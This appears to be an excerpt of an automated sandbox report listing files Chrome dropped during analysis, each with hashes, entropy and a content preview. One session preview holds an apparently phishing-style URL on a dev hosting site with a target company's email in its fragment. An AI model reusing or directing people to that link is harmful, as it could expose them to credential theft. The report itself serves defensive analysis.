gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715023029"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\9b54278c-13af-4527-83e5-03f3eeefedaa.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 195714

Entropy (8bit): 6.075093137969986

Encrypted: false

SSDEEP: 3072:Rbl9Kw3BEtMcrC1/EN2h2MTgfeDTwsFOcQeleGlFzFcbXafIB0u1GOJmA3iuRU:hjyC1/E0Yo51leGlraqfIlUOoSiuRU

MD5: BA5219B30377A4AE754C032B0D662AF3

SHA1: 156F24E76E4C694BFC8B1F075B55EA3D935156F9
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SHA-256: E5A7E0EFCF7C27037BF4C0617CC9BBFD28B040A1FFDA0AFA8CEF9FAB9CE75E1D

SHA-512: AC0613DC42B17A345337BF51B00AAD0D8FD8DC69446ED6A7401629CD62477D0FBAD27B0733575E508C5F4A80CE9518F489E9BAE2D443B50F09286087AAC9B90
D

Malicious: false

Reputation: low

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.637857663150973e+12,"network":1.637857664e+12,"ticks":310585475.0,"uncertainty":2472027.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\9b54278c-13af-4527-83e5-03f3eeefedaa.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.3041625260016576

Encrypted: false

SSDEEP: 3:FkXwgs0oRLn:+taRLn

MD5: 7AE9008C2AA5ED3E5ED52743E082F5BF

SHA1: CD90099842F51474494BFC490433578A89C1B539

SHA-256: 94E7D9BF431A0E3F0FD02F0FBA7321F43DD8B523E3D32092AFC474D3FD5ABF62

SHA-512: 596E66D10186ADAD552F4CF7E74CD438AD19AF4C30950D2D6EB80E9F9430CA475D12BB79423EC8D15EAF37ABE0AD1DCCAE459C356A00055A82155C24A35C6F
14

Malicious: false

Reputation: low

Preview:
sdPC.....................UO..E.D.Q.o....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\06a66661-5575-4ce3-9146-4fefdaed5e39.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17091

Entropy (8bit): 5.58283607862609

Encrypted: false

SSDEEP: 384:OkithLldtXa1kXqKf/pUZNCgVLH2HfDd1rUDcld4eVV84U:qLlXa1kXqKf/pUZNCgVLH2HfjrUDXeVA

MD5: 2591585FE4C0629EE3CECF61FF5FB229

SHA1: B20746B6FD7932EF534D1068BF693BC54B47BF40

SHA-256: 29885E08F582D61034DC848D974D95719D2567623361FD9C533D4C02FAB7E739

SHA-512: 067C063915C665CFDDC508B2DB8987FBECD892A578ECA420A5D3C4E61274F8FE3CD1D0D8699AEC3ADE804DCF5AAD138689BE1AEAE9B1A80C33E2FA1C31328
570

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\2613ed28-5dab-4270-bc83-c2e767cc8205.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5226

Entropy (8bit): 4.972368699306103

Encrypted: false

SSDEEP: 96:nELiM9pIKIp5k0JCKL87kD1scbOTlVuHn:nELj9pI3h4K0kDKU

MD5: 3D033E7258A6F4FE25063FEC40AD492E

SHA1: C456B5B29003BBF92450C04E1DAA230A77BDD46F

SHA-256: 88496B5E931F762A5F584E5B4F45C4B86417C19B2FF1EFE5C8119A516E0E263B

SHA-512: 3EF77542685C1EB51B425ED012206F63CFCFCEDC57866C24C276518B087FBAE3CB65EC6AF1E784ACC8B4C09D73703390C3CE2966641EEA24344A579CF8DF5A6
8
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Malicious: false

Reputation: low

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13282331262392320","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\2613ed28-5dab-4270-bc83-c2e767cc8205.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4f7650c5-bb31-404e-a65e-071b8b93f8dd.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5199

Entropy (8bit): 4.966989454638384

Encrypted: false

SSDEEP: 48:YcMkKSChkliU0qA/qqTlYGlQKHoTw0pprf4MqM8C1Nfct/9BhUJo3KhmeSnpYjm2:nELGM9pIKIp5k0JCKL87kD1NbOTlVuHn

MD5: 65D748A0BF1BD6935A55D4BCDF61572C

SHA1: 27C7BB9EB4E389A84C13D2764E800505F7B76B46

SHA-256: 4ED31BBFB15BA9965CAD4EF01C3041BFE83808D54A73F765FDBD7CB714DDEC2D

SHA-512: 9FB555D1673D6D6C17022F0069A62E9E893EF54BB7987696CBA0C3C03375E7F98AD2DDCDDD84570BBE56228BB0F2A24B37D8F57616F49C5C80DBA6274F9B2948

Malicious: false

Reputation: low

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13282331262392320","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7160d540-da4c-4c0d-8283-74575400a956.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 22602

Entropy (8bit): 5.5358381341109775

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHG6nZTxld4ez84H:1LlXa1kXqKf/pUZNCgVLH2HfjrUYG6nn

MD5: 94C3FF7AB3C5D148FAA8AB2D86ED8620

SHA1: 2AEAC489BAA4D9997BE78F13D3678A0DDEB04193

SHA-256: 2FFB30D89C34B95932B82DD04DD5BB25B785F67998A710810E7A9EFD09442894

SHA-512: 84C7CF280724F74DA9D2915363A39BA1D3A83F9CB5EF792689DB5BE4A45AC2A3547DF1D00B3F5D8D5F30F7ABADBCA27DC5869077AFEC2E2E0277CBA7EAC2E
8EC

Malicious: false

Reputation: low

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7ec27ae0-bdbf-47e9-be84-481da0a5de46.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19184

Entropy (8bit): 5.569916541949226

Encrypted: false

SSDEEP: 384:Okit0LldtXa1kXqKf/pUZNCgVLH2HfDd1rUUHG7xld4eNV84E:1LlXa1kXqKf/pUZNCgVLH2HfjrUYG7SP

MD5: DF659CBF199940C8DCD073F20B4AF59D

SHA1: 5289A2DE3550DF64E25338BA31BE436284C500A6

SHA-256: 4EDBDA923A97A11C564FBB26A050C26AB83E5E65DC586CC3F7C694C357C674D1

SHA-512: 04437BCD20FB784570572024728103CBF28FB35F6EDF643E10567C7F8E4369B08271DB4E85F6245DE06C053BFC3C8455639B32712053E1BD285A499E27AFB9A5

Malicious: false

Reputation: low
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Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13282331261891809","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7ec27ae0-bdbf-47e9-be84-481da0a5de46.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.180229960580159

Encrypted: false

SSDEEP: 6:ma7i+q2Pwkn23iKKdK9RXXTZIFUtB768ZmwP7dEzkwOwkn23iKKdK9RXX5LJ:xvYf5Kk7XT2FUt88/REz5Jf5Kk7XVJ

MD5: A17C16D8F8D7C39780556F8644A2E0F2

SHA1: FDD20EB306A64B54F08194410564FC0A6F6DF026

SHA-256: 3FC0A02B56F7DCACAA862C26238406F7E7FC1CA5B96032A555E16826463C0BE2

SHA-512: 902A26A28DFFDBA005FC7100FBBA0535708E75DFDBAEC4D389C9D04A0430D5FA1FA541CA5C87077873C943646044F1EC52A5AE27D6911395AED24DAADF4A13F
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.902 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/
11/25-17:27:47.903 1a10 Recovering log #3.2021/11/25-17:27:47.904 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.oldB (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.180229960580159

Encrypted: false

SSDEEP: 6:ma7i+q2Pwkn23iKKdK9RXXTZIFUtB768ZmwP7dEzkwOwkn23iKKdK9RXX5LJ:xvYf5Kk7XT2FUt88/REz5Jf5Kk7XVJ

MD5: A17C16D8F8D7C39780556F8644A2E0F2

SHA1: FDD20EB306A64B54F08194410564FC0A6F6DF026

SHA-256: 3FC0A02B56F7DCACAA862C26238406F7E7FC1CA5B96032A555E16826463C0BE2

SHA-512: 902A26A28DFFDBA005FC7100FBBA0535708E75DFDBAEC4D389C9D04A0430D5FA1FA541CA5C87077873C943646044F1EC52A5AE27D6911395AED24DAADF4A13F
3

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.902 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/
11/25-17:27:47.903 1a10 Recovering log #3.2021/11/25-17:27:47.904 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 318

Entropy (8bit): 5.205898062980166

Encrypted: false

SSDEEP: 6:ma75Oq2Pwkn23iKKdKyDZIFUtB7TFSZmwP7hzkwOwkn23iKKdKyJLJ:gvYf5Kk02FUtLS/15Jf5KkWJ

MD5: D197C4ADF8B60D93D1FD2E5035C5DD17

SHA1: AF78A2008B8CD4E5BA52810327B9E696264E9E4B

SHA-256: 2E6C896F31D1D1D91F71679854E64C9B7DA76BC5C885E1FD9AA339A1F0E6EAC4

SHA-512: E88B360051235C3C6A0ADAB95DDE80F5D80D9374CB0D6FF8E7A9104DC8AEA78ED04358D1657D5F34D0D505323647BAD629B6C077E7FAE09FB11F9751A1B124E
E

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.897 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/11/25-17
:27:47.898 1a10 Recovering log #3.2021/11/25-17:27:47.899 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.oldr. (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 318

Entropy (8bit): 5.205898062980166

Encrypted: false

SSDEEP: 6:ma75Oq2Pwkn23iKKdKyDZIFUtB7TFSZmwP7hzkwOwkn23iKKdKyJLJ:gvYf5Kk02FUtLS/15Jf5KkWJ

MD5: D197C4ADF8B60D93D1FD2E5035C5DD17

SHA1: AF78A2008B8CD4E5BA52810327B9E696264E9E4B

SHA-256: 2E6C896F31D1D1D91F71679854E64C9B7DA76BC5C885E1FD9AA339A1F0E6EAC4

SHA-512: E88B360051235C3C6A0ADAB95DDE80F5D80D9374CB0D6FF8E7A9104DC8AEA78ED04358D1657D5F34D0D505323647BAD629B6C077E7FAE09FB11F9751A1B124E
E

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:47.897 1a10 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/11/25-17
:27:47.898 1a10 Recovering log #3.2021/11/25-17:27:47.899 1a10 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_0
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 45056

Entropy (8bit): 0.06670351052145923

Encrypted: false

SSDEEP: 6:/FCdNG5QAE5HyJE+nvOjX9aFixAxEpmbYb6gz4:dWNG5c5S72jXogACo0+s

MD5: C6E2DE049FE661AAA2E9B57FA35AEB23

SHA1: 8DFD5A57476A57FC657A6A4B6D20EAA2AD93276D

SHA-256: 697F003F8460AEA6151AA23C36612FEE97295798AB2F313AFEB304DEAD7FCDB0

SHA-512: 43D912E3D026B26857C180CDDF49BEF30F794EFFEE288F981505ABA660CC6AD0D76D4DB071BC8F5E6E76C2C9924A0B7FD2F86740D50EFC47241DBD3C20669FD
8

Malicious: false

Reputation: low

Preview:
............$.................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.08332776328281409

Encrypted: false

SSDEEP: 48:1r8ptCt+ZScrWMvoTYwvmDWHWYZsYHFYAXxCf:x0nZ3cTYweinJi

MD5: 01474A0FB8B8826DEB4EAB2EE86E453C

SHA1: 4B22C7B7E75F3336956263B1BE6064C58D4FC2DA

SHA-256: 70F452F907EB1CF18E2FC992DFFC59CE37675DAE34E56F9A6B567C1C226CFABF

SHA-512: 1ABDA9BECF35B87F415A49EC706548A30F005B554EBCB8D5A34DAB688A77DCE079067801FB9B40A814FA3DEB2E90FA902D61BE3C4B66E8337A738579502D5C5
A

Malicious: false

Reputation: low

Preview:
.................................................................................?............................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_2
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1056768

Entropy (8bit): 0.31393640403821216

Encrypted: false
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SSDEEP: 768:fyuHwzJthDB9AJttY4P9CJtv9JtbMvuHwDJtVuHwDJt:fyuHwdCvuHwRuHw

MD5: B9F239F3703FFB9DB6D79895AA6558C7

SHA1: 302735D9FB3891579DE297825CA90CDFECB2B52B

SHA-256: FA3B7567BF417B4E5E94F067C3EEF2B61A79E54467E82357E62C13BA82DD028C

SHA-512: 518DD14A1C1AA779E00451439B130A6EEE6DF675042B5A64421455117079DC961B93AF7C206653065761E788B1EB9B9F4F0A8A0BA59A65287A694850941914D9

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_2

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: dBase III DBT, next free block index 3238316739, block length 1024

Category: dropped

Size (bytes): 4202496

Entropy (8bit): 0.05215692601091386

Encrypted: false

SSDEEP: 192:6a2TmRysiPJZbtM3N2SjDCDOJZbtMWogXTY+as02mOB8XLE:3XAsAJt8ISyaJt1Lb0Nk8XL

MD5: C68570F0DD119443ED6F5C0EA0EB46B7

SHA1: 8880ACCBD5F781F2F22E0127C19C7937420F6846

SHA-256: 328C20726C697A764F263C3C6096CE053429540E7E9AA0322F4162CD3AA5275C

SHA-512: A353AE9C5D7FCCA1960CA2888C2CE89F12ECF2F502A4719BA3C3541B7CFCF8FF6C7CDBAB572F704C99114FF9DFA287C70AE9042BFCD9A7756AF3E706AA1622
34

Malicious: false

Reputation: low

Preview:
................................................................................?.............................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.6995867946073346

Encrypted: false

SSDEEP: 24:TLyqJLbXaFpEO5bNmISHn06UwcQPx5fBoyA8UAwNkx2orP:TekLLOpEO5J/Kn7U1uBoywoj

MD5: 42AD4312F9A2C159C5828874A88E044B

SHA1: 1ECFD50B5E6478F8046C12BC12855FA9763A26EB

SHA-256: 2C02D6BCF85346EBD87917DC80E8A1A595834A8A89485825ECA04D4C530B4481

SHA-512: A1EA90D316FF33FBDA5112DF60D453CA2EA1FFCC53AC585C64A32CBE24E1CA7B9C0C7D713E1F24964305E8F8AE9A62C2575355684BF69289C010204626FAC66
B

Malicious: false

Reputation: low

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2613

Entropy (8bit): 3.4397078286504827

Encrypted: false

SSDEEP: 24:34Sk2l4tlrlJXlPYCGmugJ1YCGeqYCGJyJqq8KLst6j26CGYCG7:34W4XxTAgJ8GCJstrx

MD5: 3B6C765D15ACA82667EE70E78A21175C

SHA1: 84034AF75841D2E63EEB564DFC235C994C88176A

SHA-256: 4382D5EA659732245F61E7067BA8FF94549FEED00A9B0D7849EE3FEFF286E182

SHA-512: 6FE60661B8D6C956046122622653824CC8126040AD44CFFB99937F4A07AF6D63E9A67794EBF02EC21526AD347F38650DB9FB7AEB1320108E88E8911967D0168C

Malicious: false
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Reputation: low

Preview:
SNSS....................................................!.............................................1..,.......$...df5e19ca_82ec_4b0a_b243_50773cd515be........................w..........................................
.......................................5..0.......&...{730C75E3-B87A-4292-818B-DC8F984D08AE}.......................................................N...https://dev-ce563d81711943.pantheonsite
.io/$!&&br.d.g$&!&.html#info@axactor.fi......................................................h.......`.......................................................XN@t....YN@t....H.......`...................................N..
.h.t.t.p.s.:././.d.e.v.-.c.e.5.6.3.d.8.1.7.1.1.9.4.3...p.a.n.t.h.e.o.n.s.i.t.e...i.o./.$.!.&.&.b.r...d...g.$.&.!.&...h.t.m.l.#.i.n.f.o.@.a.x.a.c.t.o.r...f.i.....................................8.......0.......8
....................................................................... .......................................................N...https://dev-ce563d81711943.pa

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Tabs
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 8

Entropy (8bit): 1.8112781244591325

Encrypted: false

SSDEEP: 3:3Dtn:3h

MD5: 0686D6159557E1162D04C44240103333

SHA1: 053E9DB58E20A67D1E158E407094359BF61D0639

SHA-256: 3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB

SHA-512: 884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C

Malicious: false

Reputation: low

Preview:
SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 335

Entropy (8bit): 3.5297306448944714

Encrypted: false

SSDEEP: 6:qTCTCTCTCTCTCTCTCTCT5z/t2qoEwhXeLKB:qWWWWWWWWWbopXeLKB

MD5: 4B02663C177BA8EA36FB2E49617CCC05

SHA1: 6E77145135116873842B1BEE6622B116CDA3CBB1

SHA-256: 0FD0B4ED1B18A8A1C73736E3C74168C6102092E5AFD431CD36F7F222E578A1C9

SHA-512: 6FAE4934BB9F78B40ECE19DC10FD522EB88497B97F47B76AC4DBC28146F73D23984322AFBF32DDBC3AC219277A7A6F899FAE59E5834DC2E28377A6306D9D6F0
3

Malicious: false

Reputation: low

Preview:
.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................i.Wd...............Sgdaefkejpgkiemlaofp
almlakkmbjdnl.declarative_rules.declarativeContent.onPageChanged.[]..F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 320

Entropy (8bit): 5.204798714316606

Encrypted: false

SSDEEP: 6:ma7HJJIq2Pwkn23iKKdK8aPrqIFUtB7aLZmwP7hTkwOwkn23iKKdK8amLJ:dJIvYf5KkL3FUtS/tT5Jf5KkQJ

MD5: 3E4D244DAEBEC698AEEBC9D1789E91C0

SHA1: 2076AD22CEFD4D1B2B5059052D5B6B7E9908581D

SHA-256: A19968DB8DF2DE9F3C56902E2043E67876DC7B943CC5BB38F99DFF4B011B94F1

SHA-512: 7C20D216F3562CADDF534D6C18EB4F680C5B71A60F92FD21A2EEA7853686E68782E9274D9F0B72AB6A32F12FE84D9933233795AC7FFDF1C932AC7D9ED6FBD4A
C

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.453 1584 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/11/25-1
7:27:42.454 1584 Recovering log #3.2021/11/25-17:27:42.455 1584 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped
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Size (bytes): 320

Entropy (8bit): 5.204798714316606

Encrypted: false

SSDEEP: 6:ma7HJJIq2Pwkn23iKKdK8aPrqIFUtB7aLZmwP7hTkwOwkn23iKKdK8amLJ:dJIvYf5KkL3FUtS/tT5Jf5KkQJ

MD5: 3E4D244DAEBEC698AEEBC9D1789E91C0

SHA1: 2076AD22CEFD4D1B2B5059052D5B6B7E9908581D

SHA-256: A19968DB8DF2DE9F3C56902E2043E67876DC7B943CC5BB38F99DFF4B011B94F1

SHA-512: 7C20D216F3562CADDF534D6C18EB4F680C5B71A60F92FD21A2EEA7853686E68782E9274D9F0B72AB6A32F12FE84D9933233795AC7FFDF1C932AC7D9ED6FBD4A
C

Malicious: false

Reputation: low

Preview:
2021/11/25-17:27:42.453 1584 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/11/25-1
7:27:42.454 1584 Recovering log #3.2021/11/25-17:27:42.455 1584 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension 
Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old (copy)

